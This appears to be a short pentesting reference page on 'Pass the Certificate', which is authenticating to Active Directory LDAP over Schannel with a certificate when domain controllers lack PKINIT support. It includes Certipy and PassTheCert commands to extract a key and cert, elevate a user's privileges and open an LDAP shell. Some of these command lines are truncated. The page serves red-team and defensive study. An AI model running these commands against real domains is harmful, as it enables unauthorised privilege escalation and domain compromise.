Pass the Certificate

This technique extends the notion of Pass the Certificate, thus dubbed by @_nwodtuhs in his Twitter thread on AD CS and PKINIT. Even if both techniques share the same name and the same concept, the authentication method is different.


Sometimes, Domain Controllers do not support PKINIT. This can be because their certificates do not have the Smart Card Logon EKU. Most of the time, domain controllers return KDC_ERR_PADATA_TYPE_NOSUPP error when the EKU is missing. Fortunately, several protocols — including LDAP — support Schannel, thus authentication through TLS. As the term "schannel authentication" is derived from the Schannel SSP (Security Service Provider) which is the Microsoft SSL/TLS implementation in Windows, it is important to note that schannel authentication is a SSL/TLS client authentication.

  • Schannel authentication relies on TLS so it is, by design, not subject to channel binding, as the authentication is borne by TLS itself.

  • Schannel is not subject to LDAP signing either as the bind is performed after a StartTLS command when used on the LDAP TCP port.


Tools like PassTheCert (python version) and Certipy can be used to authenticate with the certificate via Schannel against LDAP.

# If you use Certipy to retrieve certificates, you can extract key and cert from the pfx by using:
$ certipy cert -pfx user.pfx -nokey -out user.crt
$ certipy cert -pfx user.pfx -nocert -out user.key

# elevate a user (it assumes that the domain account for which the certificate was issued, holds privileges to elevate user) -action modify_user -crt user.crt -key user.key -domain domain.local -dc-ip "" -target user_sam -elevate

# spawn a LDAP shell -action ldap-shell -crt user.crt -key user.key -domain domain.local -dc-ip ""
certipy auth -pfx -dc-ip "" -ldap-shell


Certified Pre-Owned (pdf)

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